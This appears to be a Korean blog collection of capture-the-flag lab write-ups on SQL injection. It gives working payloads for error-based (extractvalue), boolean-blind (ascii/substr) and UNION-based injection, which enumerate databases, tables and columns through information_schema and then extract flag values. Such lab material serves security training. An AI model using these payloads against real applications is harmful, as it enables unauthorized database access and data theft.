320x100

SQL Injection 포인트 찾기

 

공격 format 만들기

 

normaltic' and extractvalue('1', concat(0x3a, (select 'normaltic'))) and '1'='1

 

DB 이름 출력해보기 : sqli_2_2

 

 

 

  1. table 이름 알아내기 flagTable_this → member

select table_name from information_schema.tables where table_schema=’sqli_2_2’

normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2_2' limit 0,1))) and '1'='1

  1. 컬럼이름 추출하기 idx → flag

normaltic' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name='flagTable_this' limit 0,1))) and '1'='1

  1. 데이터 추출하기

normaltic' and extractvalue('1',concat(0x3a,(select flag from flagTable_this limit 0,1))) and '1'='1

 

300x250
320x100

 

SQL 포인트 찾기

 

normaltic’ / 1234 를 입력했을때 아래와 같은 화면이 나온다

 

  1. 에러를 출력 함수

extractvalue

  1. 공격 format 만들기

normaltic’ and extractvalue() and ‘1’=’1

normaltic' and extractvalue('1' , concat(0x3a, (select 'normaltic'))) and '1'='1

만든 쿼리가 정상적으로 동작하는지 확인

 

  1. DB 이름 출력 sqli_2_1

normaltic' and extractvalue('1' , concat(0x3a, (select database()))) and '1'='1

 

 

  1. 테이블 이름 추출 flag_table → member

select table_name from information_schema.tables where table_schema=’sqli_2_1’

normaltic' and extractvalue('1' , concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2_1' limit 0,1))) and '1'='1

  1. 컬럼이름 추출 flag1 → flag2 → flag3 → flag4 → flag5 → flag6 → flag7 → flag8

select column_name from information_schema.columns where table_name=’flag_table’ limit 0,1

normaltic' and extractvalue('1' , concat(0x3a, (select column_name from information_schema.columns where table_name=’flag_table’ limit 0,1))) and '1'='1

 

  1. 데이터 추출 segfault{1 → a→ b→ c→ d→ e→ f→ g

normaltic' and extractvalue('1' , concat(0x3a, (select flag1 from flag_table))) and '1'='1

 

 

위 처럼 하나씩 나오는 데이터를 합치면 정답

 

300x250
320x100

 

SQL 포인트 찾기

 

normaltic’ / 1234 를 입력했을때 아래와 같은 화면이 나온다

 

 

 

에러를 출력 함수

extractvalue

 

 

 

공격 format 만들기

normaltic’ and extractvalue() and ‘1’=’1

normaltic' and extractvalue('1' , concat(0x3a, (select 'normaltic'))) and '1'='1

만든 쿼리가 정상적으로 동작하는지 확인

 

 

DB 이름 출력 sqli_2

 

normaltic' and extractvalue('1' , concat(0x3a, (select database()))) and '1'='1

 

 

테이블 이름 추출 flag_table → member

select table_name from information_schema.tables where table_schema=’sqli_2’

 

normaltic' and extractvalue('1' , concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2'))) and '1'='1

 

 

normaltic' and extractvalue('1' , concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1))) and '1'='1

 

 

컬럼이름 추출

 

select column_name from information_schema.columns where table_name=’flag_table’ limit 0,1

normaltic' and extractvalue('1' , concat(0x3a, (select column_name from information_schema.columns where table_name=’flag_table’ limit 0,1))) and '1'='1

 

 

데이터 추출

 

normaltic' and extractvalue('1' , concat(0x3a, (select flag from flag_table))) and '1'='1

300x250
320x100

SQL Injection 포인트 찾기

 

Select 문구 사용 가능한지 확인

 

공격 format

normaltic’ and (___조건___) and ‘1’=’1

 

normaltic' and (ascii(substr((select 'test'),1,1))) and '1'='1

 

 

normaltic' and (ascii(substr((select 'test'),1,1))> 116) and '1'='1

→ 존재하지 않는아이디입니다. ‘t’ 가 ascii에서 116

normaltic' and (ascii(substr((select 'test'),1,1))> 115) and '1'='1

→ 존재하는 아이디입니다.

공격 format이 올바르게 작동된다는 것을 확인 할 수 있다.

 

 

db 찾기 → blindSqli

normaltic' and (ascii(substr((select database()),1,1))> 0) and '1'='1

 

 

talbe 이름 flagTable

select table_name from information_schema.tables where table_schema=’blindSqli’ limit 0,1

normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='blindSqli' limit 0,1),1,1))> 0) and '1'='1

 

 

column 이름 idx → flag

normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name='flagTable' limit 0,1),1,1))> 0) and '1'='1

 

 

만약 flagTable 테이블에 있는 flag 컬럼을 출력하고 싶다 segfault{Congratz_firstBlindSqli}

normaltic' and (ascii(substr((select flag from flagTable limit 0,1),1,1))>0) and '1'='1

 

 

300x250
320x100

SQL 포인트 찾기

우리가 원하는 SQL 에러가 화면에 출력되고 있는지 확인한다.

 

에러를 출력 함수

extractvalue

 

 

공격 format 만들기

normaltic’ and extractvalue(’1’, concat(0x3a, (_____))) and ‘1’=’1

 

normaltic’ and extractvalue(’1’, concat(0x3a, (select ‘normaltic’))) and ‘1’=’1

 

 

 

DB 이름 출력해보기 : errSqli

normaltic’ and extractvalue(’1’,concat(0x3a, (______select database()_____))) and ‘1’=’1

 

normaltic’

 

normaltic' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1

 

 

table 이름 알아내기

 

select table_name from information_schema.tables where table_schema=’errSqli’

 

normaltic' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema=’errSqli’))) and '1'='1

 

 

normaltic' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema=’errSqli’ limit 0,1))) and '1'='1

 

flagTable → member → plusFlag_Table → 존재하지않는 아이디입니다.

 

 

컬럼이름 추출하기

 

normaltic' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name='flagTable' limit 0,1))) and '1'='1

 

idx → flag → 존재하지 않는 아이디입니다.

 

 

데이터 추출하기

 

flagTable 테이블에 있는 flag라는 열의 데이터를 추출

 

normaltic' and extractvalue('1',concat(0x3a,(select flag from flagTable limit 0,1))) and '1'='1

 

300x250
320x100

 

 

 

' order by 6 #

 

 

' union select 1,2,3,4,5,6 #

 

' union select 1,2,3,4,5,database() from information_schema.tables #

 

 

' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema = 'sqli_5' #

table_schma = database() 임

 

 

' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'flag_honey' #

 

 

 

2차

' union select 1,2,3,4,5,table_name from information_schema.tables #

 

 

' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'CHARACTER_SETS'#

 

 

' union select 1,2,3,4,5,CHARACTER_SET_NAME from CHARACTER_SETS #

이 안에는 아무것도 없음

 

 

' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema = 'sqli_5' limit 2,1#

sqli_5 데이터베이스 안에 있는 3번째 행의 테이블 이름이 secret

 

 

' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'secret' #

 

 

' union select 1,2,3,4,5,flag from secret #

 

 

' union select 1,2,3,4,5,flag from secret limit 1,1 #

300x250

+ Recent posts